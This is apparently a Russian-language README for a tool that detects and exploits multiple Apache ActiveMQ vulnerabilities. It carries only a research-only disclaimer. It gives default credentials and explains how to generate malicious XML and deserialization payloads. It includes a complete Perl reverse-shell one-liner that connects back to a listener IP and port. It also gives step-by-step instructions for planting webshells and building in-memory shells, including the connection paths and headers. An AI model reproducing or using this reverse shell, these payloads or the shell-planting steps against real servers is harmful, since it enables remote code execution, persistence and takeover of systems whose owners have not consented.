
Инструмент для комплексного использования уязвимостей Apache ActiveMQ (CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588)
Поддерживает обнаружение и эксплуатацию уязвимостей Apache ActiveMQ: CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588

[!WARNING] Данный инструмент предназначен исключительно для исследований и обучения в области безопасности. Использователь несёт полную ответственность за все юридические и иные последствия, возникающие в результате использования данного инструмента. Убедитесь, что ваши действия соответствуют местным законам и нормативным актам. Автор не несёт никакой ответственности. Если вы не согласны, не используйте этот инструмент.
Запуск на JDK8, порт Openwire по умолчанию 61616, иногда целевая среда может не иметь его открытым. Имя пользователя и пароль по умолчанию для Apache ActiveMQ: admin:admin. Панель настройки BeanXML позволяет генерировать вредоносный XML для выполнения соответствующих команд. При возникновении проблем приветствуется создание Issue.
При обнаружении уязвимости можно установить адрес сервера вредоносного XML на DNSlog; если получен запрос, это может указывать на наличие CVE-2023-46604, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588
Сгенерируйте данные для десериализации с помощью java-chains; для проверки уязвимости можно использовать URLDNS
При получении обратной оболочки (reverse shell) лучше всего использовать perl; sh и bash иногда не срабатывают
/usr/bin/perl -e 'use Socket;$i="192.168.239.129";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

При записи пользовательского веб-шелла (webshell) запись оболочки Beishu (冰蝎) вызывает ошибку 500, Godzilla (哥斯拉) работает нормально. При подключении инструмента необходимо добавить заголовок аутентификации.
Начиная с версии 1.4, модуль генерации оболочек в памяти MemShellParty больше не встроен. С одной стороны, fatjar-пакет раздут, с другой — метод декодирования base64, используемый SpringBeanXmlClassLoader, не универсален для разных версий Java, что приводит к необходимости «изобретать велосипед». Мастерам, нуждающимся в оболочке в памяти, можно обратиться к следующему процессу генерации XML:
Сначала сгенерируйте соответствующую строку base64 для оболочки в памяти с помощью MemShellParty https://party.mem.mk/ui

Затем перейдите в java-chains, найдите Generate-OtherPayload, выберите Custom Bytecode

Выберите метод декодирования base64 в зависимости от версии JDK. По умолчанию используется метод decodeFromString, а для среды CVE-2026-34197 в vulhub необходимо выбрать java.util.Base64
Наконец, вставьте строку base64 оболочки в памяти и нажмите «Сгенерировать»

Для типов Filter, Listener или Servlet необходимо добавить путь /admin/, /api/ и заголовок аутентификации в адресе подключения. Для handler путь и заголовок аутентификации не требуются.
Благодарности
https://github.com/URJACK2025/CVE-2022-41678
https://github.com/vulhub/vulhub